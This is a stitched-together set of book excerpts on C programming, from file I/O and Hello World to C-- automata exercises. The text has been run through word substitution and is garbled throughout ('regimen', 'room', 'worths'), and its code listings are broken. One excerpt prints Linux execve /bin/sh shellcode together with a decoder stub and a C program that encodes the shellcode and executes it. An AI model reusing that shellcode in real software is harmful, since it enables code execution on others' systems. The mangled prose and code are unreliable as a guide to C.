9.4 Examples

9.4.1 Averages program

C regimen 9.1 and also Pascal regime 9.2 use text papers to recognize the median value the a variety of floating suggest values contained in a file. The get_values() function is provided to check out the worths from a file, in this case, IN.DAT.

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9.4.2 Binary read/write

C routine 9.2 and also Pascal program 9.3 is an example of how selection of floating point values is written to a binary file. In the C program the floating suggest values room writen utilizing fwrite() and then read ago using fread(). Note that the NOFILE flags changed from dump_data() and read_data() are ignored by main(). In the Pascal routine the values room written to the document using write and read using the check out routine.


Ian Grout, in Digital Systems design with FPGAs and also CPLDs, 2008

4.2.2 C


Consider an example of the “Hello World” program written in C. Figure 4.2 mirrors the program source code and the equivalent line number are included for info purposes only.


This regimen introduces a number of features of C. The an initial three lines space comments. A comment is a piece of code that is ignored through the C compiler. Comments are offered to include useful explanation of the usability of the resource code, and allow easier reading of the source code by the author and also by readers. Careful and substantial commenting that the program resource code is vital to an excellent programming practice.

The fourth, sixth, and tenth lines are left empty for readability purposes.

The 5th line is a directive come the C preprocessor. Lines that start with the number sign, # (also called a hash character), are processed by the C preprocessor before the routine is compiled.

The seventh line is the beginning of the program and is recognized as the key function. A C regimen is basically a variety of functions that interact with each various other in a predefined manner. In ~ the end of this heat is an opening curly bracket, , and on the last heat is a closing curly bracket,. Curly base are supplied to group a number of statements together. In this case, castle are provided to mark the beginning and also the finish of the program, but they can also be supplied to group statements the are part of various other statements such together an if statement or a if statement.

The eighth heat is the statement the outputs info using the printf statement. Any text that appears between the quotation marks, “”, will certainly be printed to the traditional output (i.e., the computer display screen). The critical two personalities of the printf statement room ∖n. This shows a new line.

The last three lines space comments.


C program advance requires a program advancement environment, the language, and a C traditional library. The program advance environment offers the software toolset to permit the designer to get in the style software source code, to undertake the phases vital for the resource code come the executed, come accommodate project management, and also to enable suitable software program code debugging tools. C programs space executed in 6 phases:

1.2.

Preprocessing is undertaken before program compilation and uses details preprocessor directives that recognize needed actions. Such actions incorporate the replacement of details text personalities within the resource code and also the inclusion of other documents include the resource code file.

3.

Compilation uses a compiler regime to translate the C source code into device language code (also referred to as object code) because that the details processor used in the computer system system on i m sorry the regime will run.

4.

Linking: C programs usually encompass references to functions defined elsewhere in ~ libraries of functions developed elsewhere. The object code developed by the C compiler, then, save on computer gaps for the referenced functions. A linker links the object code v the password for the referenced attributes to produce an executable photo that can then it is in run.

5.

Loading places the executable image in storage for execution.

6.

Execution runs (executes) the executable image on the processor provided in the computer system system on i beg your pardon the routine will run.


A C resource code file carries the record extension “.c.”


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C:\Program Files\Microsoft visual Studio 8\VC > dumpbin

Microsoft (R) COFF/PE Dumper variation 8.00.50727.42

usage: DUMPBIN

 options:

 /ALL

 /ARCHIVEMEMBERS

 /CLRHEADER

 /DEPENDENTS

 /DIRECTIVES

 /DISASM<:NOBYTES >

 /ERRORREPORT:NONE

 /EXPORTS

 /FPO

 /HEADERS

 /IMPORTS<:filename>

 /LINENUMBERS

 /LINKERMEMBER <:2 >

 /LOADCONFIG

 /OUT: filename

 /PDATA

 /PDBPATH<:VERBOSE>

 /RANGE:vaMin<,vaMax>

 /RAWDATA<:1 <, #> >

 /RELOCATIONS

 /SECTION: name

 /SUMMARY

 /SYMBOLS

 /TLS

 /UNWINDINFO


Porting C program papers is much much easier than porting assembly files. In many cases, application password in C deserve to be recompiled because that the Cortex-M3 without a problem. However, there room still a few areas that potentially need modification, which space as follows:

Inline assemblers: some C regime code could have inline assembly password that requirements modification. This code have the right to be quickly located via the __asm keyword. If RealView breakthrough Suite (RVDS)/RealView Compilation devices (RVCT) 3.0 or later on is used, it need to be adjusted to installed Assembler.

Interrupt handler: In the C program you deserve to use __irq to develop interrupt handlers that work with the ARM7. As result of the difference between the ARM7 and the Cortex-M3 interrupt behaviors, such as conserved registers and also interrupt returns, escape on advance tools being used, the __irq keyword can need to be removed. (However, in ARM advance tools including RVDS and RVCT, assistance for the Cortex-M3 is included to the __irq, and also use that the __irq directive is recommended for reasons of clarity.)


ARM C compiler pragma directives prefer “#pragma arm” and “#pragma thumb” have to be removed.


Kaare Christian, in Encyclopedia that Physical scientific research and an innovation (Third Edition), 2003

III.D Operator-Rich Syntax

C has actually the usual assortment that numeric operators, plus some added operators, such as the operator for pointers, the assignment operators, the increment/decrement operators, the comma operator, and the conditional operator. With just this rich collection of operators, C could be thought about to have actually an operator-rich syntax.

But C goes one action further. The considers the expression to be a form of statement, which makes it feasible to placed an expression any kind of place a declare is expected. For example, c++ is a finish statement that applies the increment operator (the ++ operator) to the variable called c.


C programs take on a really dense appearance when assignment declaration are offered in the regulate expressions of loops and if statements. For example, the following snippet of password is very common.

int ch;

while ((ch = getchar()) != EOF)

;


The control expression the this if loop phone call getchar to check out in a character, assigns that character to the ch variable, and also then runs the human body of the loop (which in the above example is empty, leading to the over code to read in and ignore every one of the input). The loop terminates as soon as getchar return the worth EOF (end the file; a symbolic consistent that is identified in the stdio.h incorporate file).


Another common an approach is to usage the guideline increment and also decrement operators in a loop regulate expression. For example, the adhering to loop copies the cable pointed to by p to the location pointed in ~ by q (p and q room both pointers to characters).

while (*q++ = *p++)

;


Note that the actual human body of the loop is empty, the only activity is in the control expression the the when statement. When the terminating null the the string is copied, the manage expression i do not care false, i beg your pardon terminates the loop.


Another facet of C that provides it possible to construct affluent expressions is short-circuit expression evaluation. Many C operators have a guaranteed expression review order, which is left to best for many arithmetic and comparison operators. In addition, C assures that logical expressions will just be evaluated far enough to identify the outcome. As presented in Table III, the operator ∥ way OR and also the operator && means AND. Thus, the expression

p && q

means p and also q. Follow to the rule of Boolean logic, the an outcome will it is in TRUE only if both p and q room TRUE. Once the regimen is running, if the p part turns the end to be FALSE, then the result of the entirety expression is automatically known to it is in FALSE, and also in this case the q part will no be evaluated.


Similarly, the expression

p || q

means p OR q. In this case, follow to the rules of Boolean logic, the an outcome will be TRUE if either the p or q part is TRUE. When the program is running, if the p component turns the end to be TRUE, climate the result is instantly known to be TRUE, and also in this instance the q component will no be evaluated, since C provides short circuit expression evaluation.


The adhering to code fragment is an example of just how short-circuit review is often used. In it, a reminder is contrasted with the resolve of the finish of range to make sure that the pointer has actually not advanced past the finish of the array. If the tip is in bounds, only then is it supplied to access an article in the array.

if ((p


Without the short-circuit expression guarantee made through the C language, this expression would have to be composed as 2 expressions, so that the tip would no be dereferenced as soon as it was pointing external the bounds of the array. (Dereferencing an out-of-bounds guideline can reason disastrous routine failures.)

In every one of these examples (and in the examples of the conditional operator and comma operator in ar I.C), C's operator-rich syntax has made it feasible to express several things in just one or 2 lines, a advantage or shortcoming depending on your viewpoint.


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Tim Wilmshurst, in creating Embedded equipment with PIC Microcontrollers (Second Edition), 2010

14.2.5 The C function

C programs are structured from ‘functions’. Every regime must have actually at the very least one function, dubbed ‘main’. Program execution starts through this function and the regime is included within it.

Apart indigenous the main function, attributes are in part ways comparable to Assembler subroutines. They are provided in a comparable way, generally to save an identifiable routine action. Good program frameworks tend to have much that the program contained within functions, v the main function calling subsidiary ones. Any function may speak to another.

What differentiate a C function from an Assembler subroutine is the regulate exercised in how data is passed between calling program and also function. Data elements, called ‘arguments’, deserve to be passed come a function. Lock must, however, it is in of a form which is asserted in advance. Just one return variable is allowed, who data kind must likewise be declared. The data passed come the change is a ‘copy’ the the original. Therefore, the duty does not itself modify the worth of the variable named. The affect of the function should hence be predictable and controlled. The terminology ‘parameter’ is regularly used in location of ‘argument’. Difference between the 2 terms is made in thorough specifications of the C language. In this chapters us will, however, use them interchangeably.


A duty is defined in a routine by a block of password having details characteristics. Its an initial line forms the function header. The function header native the instance program, presented in figure 14.1, illustrates the basic format:


The return type is offered first. In this example, the keyword void is offered to indicate that there is no return worth expected. This is usual practice because that the main function – after ~ all, to whereby or what would it return a value? after the function name, in brackets, one or much more data types may be listed, which recognize the disagreements which have to be pass to the function. In this instance (again as might be expected with main) there room no debates transferred and the keyword void is again provided to suggest this.

Following the function header, a pair that braces encloses the code which makes up the duty itself. This can be anything native a single line to numerous pages. The last statement that the role may it is in a return, which will specify the value returned to the phone call program. This is not essential if no return worth is required.

It deserve to be viewed that, for clarity, the regimen is laid out so the the braces i m sorry enclose the main role are aligned totally left and also the braces include the while statement are indented.

In Program example 14.1 the main role is the just one. A variety of further issues arise as soon as multiple functions are used. These are introduced in later chapters.


1.

Write C-- programs to acknowledge the following patterns in a string:(a)01

(b)

hey

(c)

ababa

Implement these C-- programs as C programs, and test them on a variety of positive and an adverse examples.

2.

In each case write a C-- regime to identify strings that carry out not contain the specified pattern:(a)01

(b)

1101

(c)

toto

Implement these C-- programs together C programs, and test them on a number of positive and an unfavorable examples.

3.

Prove that in a C-- program it is impossible to increment s forever.

4.

What if you limited C-- additional to allow only one incident of a move statement? How an effective is this version of C--?

5.

Suppose that you border the selection of the integer constants that have the right to be provided in a C-- program. Does this border what can be computed by a C-- program?

6.

Write a C-- regimen that detects input strings the contain one of two people the indigenous “ontop” or “toronto”.

7.

A wire of 0's and 1's has actually k-parity if the variety of 1's it includes is 0 modulo k. because that example, even parity is 2-parity The string 1101 has 3-parity yet not 2-parity. Given a consistent k, define how to construct a C-- regimen that computes the k-parity the its input.

8.

How carry out you construct a longest running program? the is, offered n different feasible values because that s, and also an entry of length m, exactly how long can a C-- program run and still eventually stop?

9.

Write a regime in C (or any kind of other language) that takes no input, does no document I/O various other than writing to standard output, and also writes that own resource text to traditional output. The is, as soon as the regime is run, that prints itself out.


James C. Foster, Mike Price, in Sockets, Shellcode, Porting, & Coding, 2005

Analysis

The 0 at line 8 has to be replaced by the exploit at runtime and should represent the size of the encoded shellcode. The 0 at line 10 additionally has to it is in filled in by the manipulate at runtime and should represent the random worth that was used to encode the shellcode. We’ll comment on later just how this can be done.

The ok: label at heat 16 is used to reference the encoded (at a later on stage decoded) shellcode. We deserve to do this due to the fact that the decoder is to be placed specifically in front of the shellcode, like in the following:

The decoder uses the jmp/call an approach to acquire a pointer to the shellcode in the ESI register. Using this pointer, the shellcode have the right to be manipulated byte through byte till it is entirely decoded.The decoding wake up in a loop dubbed “change”. Before the loop starts, we store the length of the shellcode in the CL register (line 8). Every time the loop cycles, the value in CL is diminished by one (line 11). When CL becomes zero, the JNZ instruction (Jump if not Zero) is no much longer executed, through the an outcome being the the loop finishes. Within the loop, us subtract the byte offered to encode the shellcode native the byte situated at balance out ECX — 1 native the shellcode reminder in ESI. Because ECX contains the string size and is decreased by one every cycle of the loop, every byte the the shellcode is decoded.

Once the shellcode is decoded, the “jmp quick ok” indict is executed. The decoded shellcode is at the ar ok: and also the run will cause that shellcode to it is in executed.

If we compile the decoder and also convert it right into hexadecimal characters, it will certainly look choose this:

char shellcode<> =

“\xeb\xl0\x5e\x31\xc9\xbl\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75”

“\xf7\xeb\x05\xe8\xeb\xff\xff\xff”;

Remember that the first NULL byte has to be changed by the manipulate with the size of the encoded shellcode, while the second NULL byte requirements to be replaced with the worth that was provided to encode the shellcode.


The C routine in instance 9.24 will encode the Linux execve /bin/sh shellcode example that to be given. It will then change the decoder by adding the size of the encoded shellcode and also the value used to encode every bytes. The program then places the decoder in former of the shellcode, prints the an outcome to stdout, and executes the encoded shellcode.


*
Example 9.24

Decoder Implementation Program

1 #include

2#include

3#include

4

5int getnumber(int quo)

6

7int seed;

8struct timeval tm;

9gettimeofday( &tm, NULL );

10seed = tm.tv_sec + tm.tv_usec;

11srandom( seed);

12return (random() % quo);

13

14

15void execute(char *data)

16

17int *ret;

18ret = (int * ) &ret + 2;

19(*ret) =(int)data;

20)

21

22void print_code(char *data)

23

24int i,l = 15;

25printf(“\n\nchar code<> =\n”);

26

27for (i = 0; i

28if (1 >= 15)

29if (i)

30printf(“\”\n”);

31printf(“\t\”“) ;

321= 0;

33

34++1;

35printf(“\\x%02x”,((unsigned char *)data));

36

37printf(“\”;\n\n\n“);

38 39

40int main()

41

42char shellcode <> =

43“\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89“

44“\xe3\x50\x53\x89\xel\xb0\x0b\xcd\x80“;

45

46char decoder<> =

47“\xeb\xl0\x5e\x31\xc9\xbl\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75”

48“\xf7\xeb\x05\xe8\xeb\xff\xff\xff”;

49

50int count;

51int number = getnumber(2 00);

52int nullbyte = 0;

53int ldecoder;

54int lshellcode = strlen(shellcode);

55char *result;

56

57printf(“Using the value: %d to encode the shellcode\n”,number);

58

59decoder<6> += lshellcode;

60decoder + = number;

61

62ldecoder = Strien(decoder);

63

64do

65if(nullbyte == 1)

66number = getnumber(10) ;

67decoder<11> += number;

68nullbyte = 0;

69)

70for(count = 0 ;count

71 shellcode+- number ;

72if(shellcodefcount>==‘\0’)

73nullbyte = 1;

74

75

76 while(nullbyte == 1);

77

78result = malloc(lshellcode + ldecoder);

79strcpy(result,decoder) ;

80strcat (result, shellcode) ,-

81print_code(result);

82execute(result);

83


Raymond Greenlaw, H. James Hoover, in Fundamentals the the concept of Computation: Principles and Practice, 1998

4.6 Equivalence the DFAs and also C-- Programs

Let's go back to the C-- programs of difficulties 1 to 3 in chapter 1. For any kind of given program, there room a fixed variety of statements that assign come the state variable s, and thus s can take on only a finite variety of values. The actual changes in s are propelled by the personalities read indigenous the input. Therefore C-- programs look really much favor finite-state machines. In fact, the 2 models space equivalent, in that any type of DFA can be converted (compiled) right into a C-- program, and any C-- program have the right to be converted right into a DFA.

Converting a DFA M come a C-- regime is straightforward: worths of s correspond to states in M, and there is a case for every feasible state. Within every state case, there is a situation for every possible symbol being read. This is exactly how the regime Parity of difficulty 2 is constructed.

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Converting a C-- regime to a DFA is a little bit trickier, due to the fact that not every C-- program has the nice framework of the parity program. Rather you have to employ an argument similar to the conversation in difficulty 3 to characterize what the C-- program does throughout the time between passes that the investigate point. The result is the you can view the C-- routine as do a single state transition between any type of two overcome of the inspection point, yet this transition is labeling by a string, not simply an separation, personal, instance symbol.